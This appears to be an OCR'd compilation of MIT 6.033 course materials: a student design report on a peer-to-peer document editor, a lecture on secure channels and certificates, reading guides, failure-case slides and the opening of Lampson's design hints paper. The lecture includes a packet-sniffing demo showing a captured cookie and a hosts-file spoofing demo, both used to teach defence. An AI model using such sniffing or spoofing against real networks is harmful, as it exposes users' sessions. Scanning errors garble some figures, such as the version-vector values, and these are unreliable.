same text variable), DecentralizedDocs considers this to be a conflict requiring manual resolution.
While it is possible to create a merged line containing Alice's sentence x and Bob's sentence y, doing so
may create a paragraph that is semantically invalid. Merging in this case could be especially harmful in
languages other than English. We think silently writing such a paragraph to the document is not user-
friendly, and choose to alert users instead.

Committing

The commit system is implemented as a two-phase commit system. The commit initiator serves as a
coordinator by contacting all of the users in the system individually. The coordinator also maintains a
transaction log for error recovery.

Before committing, DecentralizedDocs requires that all users explicitly approve of the commit through a
dialog, even if they all have the most recent version of the document. It is possible that the users can all
be synced up, but someone may not want to commit because he/she was planning on making changes,
and we think it is important to support that use case.

The commit system requires that all users be online at the time of the commit. They do not have to be
online at the point when one user initializes a commit, but the coordinator will have to wait for
everyone to come online before the commit finishes.

DecentralizedDocs will inform users who are offline at the time the coordinator initializes the commit
when they come online. The copy of the software on the coordinator’s computer will prepare a message
stored on the coordinator’s computer, and send the message to the previously-offline user when he/she
becomes connected to the coordinator.

The process will first check to make sure that all users are up to date (i.e. all version vectors match
among all users). If this condition is not met, the commit will be aborted. Next, users are asked if they
want to commit through a user interface. All users must agree to the commit before the commit occurs.
If any user disagrees, the process is aborted. After a user agrees to commit, their local copy is locked.
This check can be performed as soon as the user comes online, while waiting for the rest of the team to
become available.

If all users agree, the coordinator decides to commit. A checkpoint is recorded in each user’s log, along
with the specific version being committed and the document name. The coordinator then tells all nodes
to actually commit. The local node marks that version as committed and unlocks the local copy.



If something goes wrong before the coordinator decides to commit, the coordinator can tell the local
nodes to release their locks. If something goes wrong after the coordinator decides to commit, the
commit will be processed once the nodes come back online. Failed commits will be revived using the
checkpoint in the user’s log.

For the sake of simplicity, only one commit at a time can be initiated. Should multiple users try to
commit at the exact same time, one random user’s commit process will begin. The other users will be
informed via message that a commit has already been initiated and that they should wait until the
process is complete before trying to initiate a new commit.

Once a document is committed under a particular name, that name cannot be used in future commits.
Should a user attempt to commit a document with a name used in the past, a message will appear with
the version number of the document that was committed. The message will also direct the user to select
another name. The version number of the already committed document and name will be obtained
from the user’s log.

Analysis

Reconciliation
DecentralizedDocs supports several complex conflict resolution scenarios.

Changes to text in different areas

If Alice and Bob add text to many different paragraphs throughout the document and make a single
diverging change to the introduction, DecentralizedDocs limits manual reconciliation to the
introduction.

When Alice and Bob sync, the person who initialized the sync is the first one to pull (suppose it is Alice).
All of the variables Bob has modified in the paragraphs throughout the document will have strictly
newer version vectors than Alice's versions of the variables, as the vector components at Bob's position
will be greater. The components at Alice's position should be the same in both users' vectors, because
Alice has not modified the same paragraphs as Bob. Therefore, Alice accepts all of Bob's changes
without conflict. The only exception is the change to the introduction; this has concurrent version
vectors and is a genuine conflict. Alice resolves this change manually, and in the process her version
vector for the introduction is updated to become strictly newer than Bob's. Finally, Bob pulls from Alice;
his version vectors will be strictly older for the paragraphs Alice modified and the resolved introduction,
and his document includes all changes without conflict. The versioning algorithm has allowed both users
to sync with no unnecessary conflicts.

Avoiding double-resolution
There are use cases where incorrectly-designed versioning methods inconvenience users by forcing
them to manually resolve changes that have already been accounted for. One such use case occurs



when the following actions happen: Alice and Bob {connected together) synchronize and include a
change that Bob has made to a sentence. At the same time, Charlie, who is offline, changes the same
sentence in a different way. Later, Alice synchronizes with Charlie, and she resolves the conflict in that
sentence. Later, when Charlie synchronizes with Bob, Bob should not see a conflict in the sentence Alice
resolved.

DecentralizedDocs solves this problem in a user-friendly manner. When the two changes to the
sentence are made, Alice and Boh's version vectors for the corresponding text variable are
incremented in Bob's component, and Charlie's version vector is incremented in his component. When
Alice and Charlie sync, the vectors are concurrent, and Alice's change resolution causes her version
vector to update and increment in her component, becoming strictly newer than Charlie's. Charlie's
version vector becomes equal to Alice's after he pulls from her to complete the sync. When Charlie and
Bob sync, Charlie's version vector is strictly newer than Bob's, so Bob receives the resolved sentence
without conflict. Figure 5 shows an example of this scenario with concrete values.

Initially, everyone is synced:
Alice's W = <5, 6, 4>
Bob's WV = <5, 6, 4>
Charlie's W = <5, 6, 4>

Then Bob and Charlie make changes simultaneously:
Alice's W = <5, 6, 4>
Bob's WV =<5, 7, 4>
Charlie's W = <5, 6, 5>

Bob syncs with Alice (His version vector is strictly newer, so she accepts):
Alice's W =<5, 7, 4>
Bob's WV =<5, 7, &
Charlie's W = <5, 6, 5>

Now, Alice and Charlie's VVs are concurrent. Alice pulls from Charlie, sees a
conflict, and resolves it. Her version vector component is incremented
because she changed the variable to resolve it:

Alice's W =<6, 7, 5>

Bob's WV = €54 75 4>

Charlie's W = <5, 6, 5>

Charlie pulls from Alice (without conflict) to complete the sync:
Alice's W <6, 7, 5>
Bob's W =<5, 7, 4
Charlie's W = <6, 7, 5>

]



Charlie and Bob sync. Charlie's VWV is strictly newer than Bob's, so Bob
accepts Charlie's version without conflict.

A's W = <6, 7, 5

B's W =<6, 7, 5

C's W =<6, 7, 5>
Figure 5. Version vectors carry enough information to prevent double-reconciliation.

Changes to text and position

If Alice moves several paragraphs, and Bob edits a sentence in one of those paragraphs, then a conflict
should not occur when they sync. DecentralizedDocs addresses this case by maintaining separate
version vectors for position and text. Alice's position_version_vectors for the paragraphs she
moved will be strictly newer than Bob's, and Bob's text_version_vector for the sentence will be
strictly newer than Alice's. When pulling, DecentralizedDocs sees this as two separate changes; and both
updates will be written to the log and played out without conflict.

Convergent Changes

If Alice and Bob both change the text of a line to the same value, then when they sync,
DecentralizedDocs does not require manual conflict resolution even though their version vectors are
concurrent. This is treated as a special case checked in code; after encountering a concurrent version
vector, DecentralizedDocs inspects the two values for the variable, and only presents a conflict
resolution dialog if the two values are different.

Committing

Conclusions

DecentralizedDocs tracks versions of documents' contents at a fine-grained level and supports peer-to-

peer interaction, allowing users to collaboratively edit without a central server. The design emphasizes

usability and correctness; it does not place unnecessary barriers in front of users or drop saved changes
just to make the implementation simpler.

DecentralizedDocs does not support groups whose sizes vary throughout the project. It also does not
implement major performance optimizations such as parallelism where those would complicate the
design. Besides these issues, DecentralizedDocs fulfills the desired requirements and use cases.
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L24: Secure channels

Nickolai Zeldovich
6.033 Spring 2012

Network insecurity

# tcpdump -A -s 2272 -1 mon0

11:53:41.281771 2462 MHz 1lg -26dB signal antenna 15 [bi
CF +QoS IP 128.31.33.180.418%9 > 74.125.226.180.80: Fl
[P.], seq 490544447:490545563, ack 2165662404, win 501
options [nop,nop,TS val 701636 ecr 3105280684], length 1116

14]

] (1'

+
G
ags
r

'GET /search?hl=en&source=hp&g=mit+150&... HTTP/1l.1

Host: www.google.com

Connection: keep-alive

Referer: http://www.google.com/

User-Agent: Mozilla/5.0 (X11; CrOs 1686 0.0.0}

Cookie: NID=45=0N-XmK6HCc6gnbx-DAQCk2-IBwUK8JV-79rK3iFzK08pL. ..

Subject evaluation

Help us improve 6.033 for future years
http://web.mit.edu/subjectevaluation

Please fill out before the beginning of finals week
We read every one of your comments
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Common parameters: prime p, generator g

Diffie-Hellman key exchange
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Diffie-Hellman key exchange
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Common parameters: prime p, generator g

Man-in-the-middle (MITM) attack
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Diffie-Hellman with signatures

Alice Bob
SKalice;

random a {92 mog P}
SKaﬁce
SKbob;
W random b

Certificate authority mistakes

« 2001: Verisign cert for Microsoft Corp.
« 2011: Comodo certs for mail.google.com, etc

« 2011: DigiNotar cert for *.google.com

‘_ eLUI_L*

SKalice;
random a

W random b
Need Need v
PKbo_h PKalice
to verify to verify

Diffie-Hellman with signatures

Alice

Network adversary: secure channel abstraction

Bob

{92 mog
w
SKbob;

Summary

Primitives: Encrypt/Decrypt, MAC, Sign/Verify

Key exchange requires knowing public keys

Certificates
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6.033 2012 Lecture 24: Secure channels

Topics:
Cryptographic primitives: encrypt/decrypt, MAC, sign/verify.
Key establishment.
MITM attacks.
Certificates.

Administrivia: course eval.
[ slide ]

Goal: extending our threat model to deal with network adversaries.

Problem: many networks do not provide security guarantees.
Adversary can look at packets, corrupt them.
Easy to do on local network.
[ slide: sniffing wireless traffic ]
Might be possible over the internet, if adversary changes DNS.
Adversary can inject arbitrary packets, from almost anywhere.

Dropped packets: retransmit (as long as they eventually get through).
Randomly corrupted packets: use checksum to drop.
Carefully corrupted, injected, sniffed packets: need some new plan.

Security goals for messages.
Secrecy: adversary cannot learn message contents.
Integrity: adversary cannot tamper with message contents.

There are standard cryptographic protocols for constructing a secure channel.
E.g., TLS (sometimes called SSL, which was the predecessor of TLS)
is used by web browsers for https:// URLs.
This lecture will look at how secure channel protocols are built,
and what does it take to use them in a larger system.
There are many tricky details that are not covered in this lecture.
If you are building a real system, try to use an existing protocol like TLS.

Cryptographic primitives.
Encrypt (ke, m) -> c¢; Decrypt(ke, c) -> m.
Ciphertext ¢ is similar in length to m (usually slightly longer).
Hard to obtain plaintext m, given ciphertext c, without ke.
But adversary may change c to c¢', which decrypts to some other m’'.
MAC(ka, m) -> t.
MAC stands for Message Authentication Code.
output t is fixed length, similar to a hash function (e.g., 256 bits).
Hard to compute t for message m, without ka.
Common keys today are 128- or 256-bit long.

Secure channel abstraction.
send and receive messages, just as before, but protected from adversary.
Use Encrypt to ensure secrecy of a message.
Use MAC to ensure integrity (increases size of message).
Complication: replay of messages.
Include a sequence number in every message.
Choose a new random sequence number for every connection.
Complication: reflection of messages.
Recall: be explicit -- we're not explicit about what the MAC means.
Use different keys in each direction.

Open vs. closed design.

Should system designer keep the details of Encrypt, Decrypt, and MAC secret?
Argqument for: harder for adversary to reverse-engineer the system?
Argument against: hard to recover once adversary learns algorithms.
Argument against: very difficult to get all the details right by yourself.

Generally, want to make the weakest practical assumptions about adversary.
Typically, assume adversary knows algorithms, but doesn't know the key.
Advantage: get to reuse well-tested, proven crypto algorithms.

Advantage: if key disclosed, relatively easy to change (unlike algorithm).

Using an "open" design makes security assumptions clearer.

Problem: key establishment.
Suppose client wants to communicate securely with a server.
How would a client get a secret key shared with some server?
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Broken approaches:
Alice picks some random key, sends it to Bob.
Alice and Bob pick some random values, send them to each other, use XOR.

Diffie-Hellman protocol.

Another cryptographic primitive.

[ 4 slides: DH protocol exchange ]
Crypto terminology: two parties, Alice and Bob, want to communicate.

Main properties of the protocol:
After exchanging messages, both parties end up with same key k.
Adversary cannot figure out k from g*a and g*b alone (if a+b are secret).

This works well, as long as the adversary only observes packets.

Problem: man-in-the-middle attacks.
[ slide: MITM attack exchange ]
Active adversary intercepts messages between Alice and Bob.
Adversary need not literally intercept packets: can subvert DNS instead.
If adversary controls DNS, Alice may be tricked to send packets to Eve.
Both Alice and Bob think they've established a key.
Unfortunately, they've both established a key with Eve.
What went wrong: no way for Alice to know who she's talking to.
Need to authenticate messages during key exchange.
In particular, given the name (Bob) need to know if (g”b mod p) is from Bob.

New primitive: signatures.
User generates a public-private key pair: (PK, SK).
PK stands for Public Key, can be given to anyone.
SK stands for Secret Key, must be kept private.
Two operations:
Sign(SK, m) -> sig.
Verify(PK, m, sig) -> yes/no.
Property: hard to compute sig without knowing SK.
"Better" than MAC: for MAC, two parties had to already share a secret key.
With signatures, the recipient only needs to know the sender's _public_ key.
We will denote the pair {m, sig=Sign(SK, m)} as {m}_SK.
Given {m}_SK and corresponding PK, know that m was signed by someone w/ SK.
[ slide: DH with signatures ]
[ slide: need to know the other party's public key ]

Idea 1: Alice remembers key used to communicate with Bob last time.

Easy to implement, simple, effective against subsequent MITM attacks.

ssh uses this approach.

[ demo ]
$ mv ~/.ssh/known_hosts{, .save}
% ssh pdos.csail.mit.edu
The authenticity of host 'pdos.csail.mit.edu (18.26.4.9)' can't be established.
RSA key fingerprint is aa:52:38:ac:cd:21:8a:la:ab:87:66:bd:25:8b:3b:e2.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'pdos.csail.mit.edu,18.26.4.9' (RSA) to the list of known hosts.
Password:

% ssh pdos.csail.mit.edu
Password:

[ edit /etc/hosts, add pdos.csail.mit.edu alias to localhost ]
% ssh pdos.csail.mit.edu
GRREEEEEAACEALRACLCLEELCERRERAEEEAREAAEAECARACERRRCLERECERRERRRAR®

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@OCREECREPECREPLRALCLEEALACLEECREAREEAEAEERAELPALCLRERALECREAEEAARRRAAE

The fingerprint for the RSA key sent by the remote host is
Cc7:34:c0:55:£d:96:e7:7c:7e:01:07:1d:38:4e:1e:c0.

Doesn't protect against MITM attacks the first time around.
Doesn't allow server to change its key later on.

Idea 2: consult some authority that knows everyone's public key.

Simple protocol.
Authority server has a table: name <-> public key.
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Alice connects to authority server (using above key exchange protocol).
Client sends message asking for Bob's public key.
Server replies with PK_bob.

Alice must already know the authority server's public key, PK as.
Otherwise, chicken-and-egg problem. -

Works well, but doesn't scale.
Client must ask the authority server for public key for every connection.
.. or at least every time it sees new public key for a given name.

Idea 3: authority responds the same way every time, so pre-compute responses.
Public/private keys can be used for more than just key exchange.
New protocol:
Authority server creates signed message { Bob, PK bob }_(SK_as).
Anyone can verify that the authority signed this message, given PK as.
When Alice wants to connect to Bob, need signed message from autho;ity.
Authority's signed message usually called a "certificate".
Certificate attests to a binding between the name (Bob) and key (PK bob).
Authority is called a certificate authority (CA). -
Certificates are more scalable.
Doesn't matter where certificate comes from, as long as signature is OK.
Easy scalability solution: Bob sends his certificate to Alice.
(Similarly, Alice sends her certificate to Bob.)

Who runs this certificate authority?
Today, a large number of certificate authorities.
[ demo: Firefox ]
Show certificate for https://www.google.com/.
Name in certificate is the web site's host name.
Show list of certificate authorities:
Edit -> Preferences -> Advanced -> Encryption
-> View certificates -> Authorities

If any of the CAs sign a certificate, browser will believe it.
Somewhat problematic.

Lots of CAs, controlled by many companies & governments.

If any are compromised or malicious, mostly game over.

Where does this list of CAs come from?

Most of these CAs come with the browser.

Web browser developers carefully vet the list of default CAs.

Downloading list of CAs: need to already know someone's public key.
Bootstrapping: chicken-and-egg problem, as before.

Computer came with some initial browser from the manufacturer.

Manufacturer physically got a copy of Windows, including IE and its CAs.
MIT CA: download from a web server that has a certificate from well-known CA.

How does the CA build its table of names <-> public keys?
1. How do we name principals?

Everyone must agree on what names will be used.

Depends on what's meaningful to the application.

Would having certificates for an IP address help a web browser?
Probably not: actually want to know if we're talking to the right server.
Since DNS untrusted, don't know what IP we want.
Knowing key belongs to IP is not useful.

For web servers, certificate contains server's host name (e.g., google.com).

2. How to check if a key corresponds to name?
Whatever mechanism CA decides is sufficient proof.
Some CAs send an email root@domain asking if they approve cert for domain.
Some CAs used to require faxed signed documents on company letterhead.

what if a CA makes a mistake?
[ slide: CA mistakes ]
Whoever controls the corresponding secret keys can now impersonate sites.
Similarly problematic: attacker breaks into server, steals secret key.
Need to revoke certificates that should no longer be accepted.
Note this wasn't a problem when we queried the server for every connection.

Technique 1: include an expiration time in certificate.
Certificate: { Bob, 10-Aug-2011, PK bob } (SK_as).
Clients will not accept expired certificates.
When certificate is compromised, wait until expiration time.
Useful in the long term, but not so useful for immediate problems.
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Technique 2: publish a certificate revocation list (CRL).
Can work in theory.
Clients need to periodically download the CRL from each CA.
MSFT 2001 problem: Verisign realized they forgot to publish their CRL address.
Things are a little better now, but still many CRLs are empty.
Principle: economy of mechanism, avoid rarely-used (untested) mechanisms.

Technique 3: query an online server to check certificate freshness.
No need to download long CRL.
Checking status might be less costly than obtaining certificate.

Idea 4 (for looking up public keys): use public keys as names. [ SPKI/SDSI ]
Trivially solves the problem of finding the public key for a "name".
Avoids the need for certificate authorities altogether.

Might not work for names that users enter directly.

Can work well for names that users don't have to remember/enter.
Application referring to a file.
Web page referring to a link.

Additional attributes of a name can be verified by checking signatures.
Suppose each user in a system is named by a public key.
Can check user's email address by verifying a message signed by that key.

[ slide: summary ]
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Read Reflections on Trusting Trust. This is one of our shortest readings--only three pages--but do not be deceived
by its brevity. It is surprisingly deep and requires a lot of thinking to get your head around, but once you figure it out

it is fascinating. Plus, you will kiow something that most people who haven't read this-paper are quite clueless
about.

This paper is probably best ingested by reading it carefully (your first reaction may be "What was that all about?"),
discussing it in a small group, and then going back to read it again. Then discuss it in recitation, then read it a third
time. On one of those three readings, you will probably say to yourself "Oh, now I get it!".

The paper emphasizes how difficult it is to be sure that you know what your software actually does. One way to

% g — . v .
avoid treacherous software would be to write all your software yourself. Although this approactrwould in principle
solve the problem, it is overwhelmingly impractical. One has no choice but to rely on, and thus trust, software from

other sources. TSN

The paper has enough to think about while you are reading it. But here are some questions to think about later:

Two programmers, Alice and Bob, want to buy the latest version of the Microsoft C compiler. Alice searches the
Internet for the lowest price and downloads the compiler from a web site on some island in the Pacific Ocean. Bob
buys a CD that claims to contain the same compiler from the local computer store.

1. Who and what must Alice trust to believe that she received a compiler without Trojan horses?

2. How about Bob? //][ﬁ f

Since publication of Thompson's paper, there have been two proposals for handling trust in programs that you didn't
personally write:

1. have the author sign the binary, using the techniques of chapter 11 of the 6.033 notes, and
2. apply the'metiods of chapter 5 to run the program in a completely isolated environment, called a "sandbox".

ey
Do these proposals solve the problem that Thompson raises? How do these proposals relate to the challenges that
Alice and Bob face?

CQ’/C 5(3/1/@

Questions or comments regarding 6.033? Send e-mail to the 6.033 staff at 6.033-staff@mit.edu or to the 6.033 TAs at 6.033-tas@mit.edu.

Top // 6.033 home //

5/5/2012 1:41 PM

http://web.mit.edw/6.033/www/assignments/trust.shtml
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Complexity revisited:
learning from failures

Frans Kaashoek
Lec 26 --- Last one!
5/16/12
Credit: Jerry Saltzer

Today:

Why do systems fail anyway?

e Complexity in computer systems has no hard
edge

e Learning from failures: common problems

e Fighting back: avoiding the problems

* 6.033 theme song

6.033 in one slide

Principles:End-to-end argument, Open design, Be explicit ...

¢ Client/server °
e RPC °
¢ File abstraction °
¢ Virtual memory .
e Threads o
¢ Coordination °
e Protocol layering .

¢ Routing protocols °

Reliable packet delivery
Names

Replication state machine
Version vectors
Transactions

Passwords

Secure channels
Cryptographic hash

Case studies of successful systems: DNS, X Windows, Unix,
MapReduce, BGP, TCP, Bittorrent, RAID, Databases, SSL, ....

Too many objectives

e Ease of use
e Availability
e Scalability
e Flexibility

e Mobility

e Security

Networked
Maintainability
Performance
Durable

Lack systematic methods



Many objectives
+
Few Methods
+

High d(technology)/dt The tarpit

Very high risk of failure

[Brooks, Mythical Man Month]

Learn from failure

“The concept of failure
is central to design
process, and it is by
thinking in terms of
obviating failure that
successful designs are
achieved...”

[Petroski]

CS: comp.risks

Complexity: no hard edge

Subjective | /
complexity

Increasing function

e It just gets worse, worse, and worse ...

Keep digging principle

o Complex systems systems fail for
complex reasons
- Find the cause ...
— Find a second cause ...
— Keep looking ...
— Find the mind-set.



Try 3: Red pyramid (right angle: 43°)

Pharaoh Sneferu’ s Pyramid project

Try 1: Meidum (52° angle)

Try 2: Dashur/Bent
(52° to 43.5° angle)

CONFIRM

Hilton, Marriott, Budget, American Airlines

Hotel reservations linked with airline and car
rental

Started 1988, scrapped 1992, $125M
Second system
Dull tools (machine language)

Bad-news diode
[Communications of the ACM 1994]

United Airlines/Univac

o Automated reservations, ticketing, flight

scheduling, fuel delivery, kitchens, and
general administration

Started 1966, target 1968, scrapped
1970, spend $50M

Second-system effect (First: SABRE)
(Burroughs/TWA repeat)

IBM Workplace OS for PPC

Mach 3.0 + binary compatability with AIX +
DOS, MacOS, 0S/400 + new clock mgmt +
new RPC + new I/O + new CPU

Started in 1991, scrapped 1996 ($2B)
400 staff on kernel, 1500 elsewhere

“Sheer complexity of class structure proved
to be overwhelming”

Inflexibility of frozen class structure
Big-endian/Little-endian not solved
[Fleish HotOS 1997]



Advanced Automation System

e US Federal Aviation Administration

» Replaces 1972 Air Route Traffic Control
System

e Started 1982, scrapped 1994 ($6B)
e All-or-nothing

e Changing specifications

e Grandiose expectations

e Contract monitors viewed contractors as
adversaries

» Congressional meddling

More, too many to list ...

Portland, Oregan, Water Bureau, 30M, 2002

Washington D.C., Payroll system, 34M 2002

Southwick air traffic control system $1.6B 2002

Sobey’ s grocery inventory, 50M, 2002

King" s County financial mgmt system, 38M, 2000)

Australian submarine control system, 100M, 1999

California lottery system, 52M

Hamburg police computer system, 70M, 1998

Kuala Lumpur total airport management system, $200M, 1998
UK Dept. of Employment tracking, $72M, 1994

Bank of America Masternet accounting system, $83M, 1988,
FBI virtual case, 2004,

FBI Sentinel case management software, 2006.

UK National offender management IS, $155M, 2007 (restart)

London Ambulance Service

e Ambulance dispatching

e Started 1991, scrapped in1992 (20 lives lost
in 2 days, 2.5M)

e Unrealistic schedule (5 months)
e Qverambitious objectives
e Unidentifiable project manager
e Low bidder had no experience
e No testing/overlap with old system
e Users not consulted during design
[Report of the Inquiry Into The London Ambulance Service 1993]

Recurring problems

e Excessive generality and ambition
e Bad ideas get included

e Second-system effect

e Mythical Man Month

e Wrong modularity

e Bad-news diode

e Incommensurate scaling



Fighting back:
control novelty

e Source of excessive novelty:
— Second-system effect
— Technology is better
— Idea worked in isolation
— Marketing pressure
e Some novelty is necessary; the difficult part is
saying No.
e Don't be afraid to re-use existing
components
— Don’ t reinvent the wheel
— Even if it takes some massaging

Fighting back:
find bad ideas fast

e Question requirements

— “And ferry itself across the Atlantic” [LHX light
attack helicoper]

e Try ideas out, but don’t hesitate to scrap
e Understand the design loop

Requires strong, knowledgeable management

Fighting back:

adopt sweeping simplifications

e Processor, Memory, Communication
e Dedicated servers

e N-level memories

e Best-effort network

» Delegate administration

» Fail-fast, pair-and-compare

e Don’t overwrite

e Transactions

* Sign and encrypt

The design loop

min hours days nonths

Draft design coding testing  deployed

e Find flaws fast!



Fighting back:
design for iteration,
iterate the design

Fighting back:
find flaws fast

 Plan, plan, plan (CHIPS, Intel processors)

e Simulate, simulate, simulate . s !
_ Boeing 777 and F-16 . Somethmg simple working soon

» Design reviews, coding reviews, regression — Find out what the real problems are
tests, daily/hourly builds, performance e One new problem at a time

measurements . l g A
-~ Desigrithegerdbasksystais e Use |tera’F|on-fr|endly design
- Alpha and beta tests — E.g., Failure/attack models

— A/B testing
— Incentives, not penalties, for reporting errors “Every successful complex system is found to have evolved
from a successful simple system”
Example: Linux Fighting back:

conceptual integrity

¢ 1995: Linux hobbyist « One mind controls the design

project - Macintosh
e Now: Google, Amazon ~ Visicalc spreadsheet
servers, Android run = E‘I:IX
— LINuX

Linux

e Fast iterative software
development

e Good esthetics yields more successful systems
— Parsimonious, Orthogonal, Elegant, Readable, ...

o Few top designers can be more productive than a
larger group of average designers.




Fighting back:
learn from failures

e Take failures seriously and learn from it

e Example: Amazon outage [2011]
— Elastic block store aggressively remirrors

— Network configuration problem in NE availability
zone effected primary and backup network

— “Re-mirror storm”, effected other regions
- Took days to get under control
— Amazon took failure analysis serious
e Counter examples: RSA, Sony PlayStation
network

Admonition

Make sure that none of the systems you
design can be used as disaster
examples in future versions of this
lecture

Fighting back: summary

e Principles that help avoiding failure
— Limit novelty
— Adopt sweeping simplifications
— Get something simple working soon
— Iteratively add capability
- Give incentives for reporting errors
— Descope early
— Give control to (and keep it in) a small design team

e Strong outside pressures to violate these principles
— Need strong knowledgeable managers/designers

6.033 theme song

‘Tis the gift to be simple, 'tis the gift to be free,
‘Tis the gift to come down where we ought to be;
And when we find ourselves in the place just right,
‘Twill be in the valley of love and delight.

When true simplicity is gained

To bow and to bend we shan’t be ashamed;
To turn, turn will be our delight,

Till by turning, turning we come out right.

N

[Simple Fifts, traditional Shaker hymn]



Learn more about systems

° 6.823:
e 6.824:
e 6.828:
e 6.829:
e 6.830:
e 6.858:
e 6.805:

computer architecture
distributed systems engineering
operating system engineering
computer networking
databases

computer system security
Ethics and Law
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The final 6.033 recitation discusses Butler Lampson's classic paper
Hints for Computer System Design . This paper presents about two
dozen general rules of thumb that experienced system designers have
found helpful in building functional, fault-tolerant systems with
acceptable performance. Some of Lampson's rules may seem obvious
to you. Don't be misled by their apparent simplicity: they embody deep
ideas, and it is all too easy to forget them while in the throes of a
project. (And even if they are obvious, they are well worth collecting
and repeating.)

Start out by reading the conclusion of the paper, and then follow the
advice in its first sentence: read the paper in small pieces, over time, so
that you can fully absorb its lessons. You will get less from the paper if
you read it all at once.

You are likely to be unfamiliar with many of the systems discussed in
the examples. It is not necessary to understand every example, but you
should understand in detail at least one of the examples for each hint.
Then, for each hint you should think of at least one example of a use
(and perhaps also a misuse) of the hint from one of the readings. In
addition, think about your design projects: how did you follow (or not)
the hints? You might also think about when the hints are not
applicable, and how you can tell when that is the case. Overall, the
collection of hints should help you to synthesize the lessons you have
learned during the semester.

%ﬂ& M 7[0 uﬂ(lf/dcffbi al /531

L i xamily
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Questions or comments regarding 6.033? Send e-mail to the 6.033 staff at 6.033-staff@mit.edu
or to the 6.033 TAs at 6.033-tas@mit.edu.
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Hints for Computer System Design’
Butler W. Lampson

Computer Science Laboratory
Xerox Palo Alto Research Center
Palo Alto, CA 94304

Abstract

Studying the design and implementation of a number of computer has led to some general hints
for system design. They are described here and illustrated by many examples, ranging from
hardware such as the Alto and the Dorado to application programs such as Bravo and Star.

1. Introduction

Designing a computer system is very different from designing an algorithm:

The external interface (that is, the requirement) is less precisely defined, more complex, and
more subject to change.

The system has much more internal structure, and hence many internal interfaces.
The measure of success is much less clear.

The designer usually finds himself floundering in a sea of possibilities, unclear about how one
choice will limit his freedom to make other choices, or affect the size and performance of the
entire system. There probably isn’t a ‘best’ way to build the system, or even any major part of it;
much more important is to avoid choosing a terrible way, and to have clear division of
responsibilities among the parts.

I have designed and built a number of computer systems, some that worked and some that didn’t.
I have also used and studied many other systems, both successful and unsuccessful. From this
experience come some general hints for designing successful systems. I claim no originality for
them; most are part of the folk wisdom of experienced designers. Nonetheless, even the expert
often forgets, and after the second system [6] comes the fourth one.

Disclaimer: These are not
novel (with a few exceptions),
foolproof recipes,
laws of system design or operation,
precisely formulated,
consistent,
always appropriate,
approved by all the leading experts, or
guaranteed to work.

' This paper was originally presented at the. 9th ACM Symposium on Operating Systems Principles and appeared in
Operating Systems Review 15, 5, Oct. 1983, p 33-48. The present version is slightly revised.
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They are just hints. Some are quite general and vague; others are specific techniques which are
more widely applicable than many people know. Both the hints and the illustrative examples are
necessarily oversimplified. Many are controversial.

I have tried to avoid exhortations to modularity, methodologies for top-down, bottom-up, or
iterative design, techniques for data abstraction, and other schemes that have already been widely
disseminated. Sometimes I have pointed out pitfalls in the reckless application of popular
methods for system design.

The hints are illustrated by a number of examples, mostly drawn from systems I have worked on.
They range from hardware such as the Ethernet local area network and the Alto and Dorado
personal computers, through operating systems such as the SDS 940 and the Alto operating
system and programming systems such as Lisp and Mesa, to application programs such as the
Bravo editor and the Star office system and network servers such as the Dover printer and the
Grapevine mail system. I have tried to avoid the most obvious examples in favor of others which
show unexpected uses for some well-known methods. There are references for nearly all the
specific examples but for only a few of the ideas; many of these are part of the folklore, and it
would take a lot of work to track down their multiple sources.

And these few precepts in thy memory
Look thou character.

It seemed appropriate to decorate a guide to the doubtful process of system design with
quotations from Hamlet. Unless otherwise indicated, they are taken from Polonius’ advice to
Laertes (I iii 58-82). Some quotations are from other sources, as noted. Each one is intended to
apply to the text which follows it.

Each hint is summarized by a slogan that when properly interpreted reveals the essence of the
hint. Figure 1 organizes the slogans along two axes:

Why it helps in making a good system: with functionality (does it work?), speed (is it fast
enough?), or fault-tolerance (does it keep working?).

Where in the system design it helps: in ensuring completeness, in choosing interfaces, or in
devising implementations.

Fat lines connect repetitions of the same slogan, and thin lines connect related slogans.

The body of the paper is in three sections, according to the why headings: functionality (section
2), speed (section 3), and fault-tolerance (section 4).

2. Functionality

The most important hints, and the vaguest, have to do with obtaining the right functionality from
a system, that is, with getting it to do the things you want it to do. Most of these hints depend on
the notion of an interface that separates an implementation of some abstraction from the clients
who use the abstraction. The interface between two programs consists of the set of assumptions
that each programmer needs to make about the other program in order to demonstrate the
correctness of his program (paraphrased from [5]). Defining interfaces is the most important part
of system design. Usually it is also the most difficult, since the interface design must satisfy three
conflicting requirements: an interface should be simple, it should be complete, and it should

Hints for Computer System Design July 1983 2



Why?

Functionality
Does it work?

Speed
Is it fast enough?

Fault-tolerance
Does it keep working?

Where?

Completeness

Interface

Implementation

Shed load

Separate normal and
worst case End-to-end
Safety first
Do one thing well: Make it fast

Don’t generalize
Get it right
Don’t hide power
Use procedure arguments
Leave it to the client
Keep basic interfaces stable
Keep a place to stand

Split resources
Static analysis

Cache answers
Use hints
Use brute force

Plan to throw one away

Keep secrets

Use a good idea again

Divide and conquer
Batch processing

Figure 1: Summary of the slogans

Dynamic translation

Compute in background

End-to-end

End-to-end
Log updates
Make actions atomic

Make actions atomic
Use hints

admit a sufficiently small and fast implementation. Alas, all too often the assumptions embodied
in an interface turn out to be misconceptions instead. Parnas’ classic paper [38] and a more recent

one on device interfaces [5] offer excellent practical advice on this subject.

The main reason interfaces are difficult to design is that each interface is a small programming
language: it defines a set of objects and the operations that can be used to manipulate the objects.
Concrete syntax is not an issue, but every other aspect of programming language design is
present. Hoare’s hints on language design [19] can thus be read as a supplement to this paper.

2.1 Keep it simple

Perfection is reached not when there is no longer anything to add,

but when there is no longer anything to take away. (A. Saint-Exupery)

Those friends thou hast, and their adoption tried,
Grapple them unto thy soul with hoops of steel;
But do not dull thy palm with entertainment

Of each new-hatch'd unfledg'd comrade.

e Do one thing at a time, and do it well. An interface should capture the minimum essentials of an
abstraction. Don 't generalize; generalizations are generally wrong.

Hints for Computer System Design

July 1983



We are faced with an insurmountable opportunity. (W. Kelley)

When an interface undertakes to do too much its implementation will probably be large, slow and
complicated. An interface is a contract to deliver a certain amount of service; clients of the
interface depend on the contract, which is usually documented in the interface specification.
They also depend on incurring a reasonable cost (in time or other scarce resources) for using the
interface; the definition of ‘reasonable’ is usually not documented anywhere. If there are six
levels of abstraction, and each costs 50% more than is ‘reasonable’, the service delivered at the
top will miss by more than a factor of 10.

KISS: Keep It Simple, Stupid. (Anonymous)

If in doubt, leave if out. (Anonymous)
Exterminate features. (C. Thacker)
On the other hand,

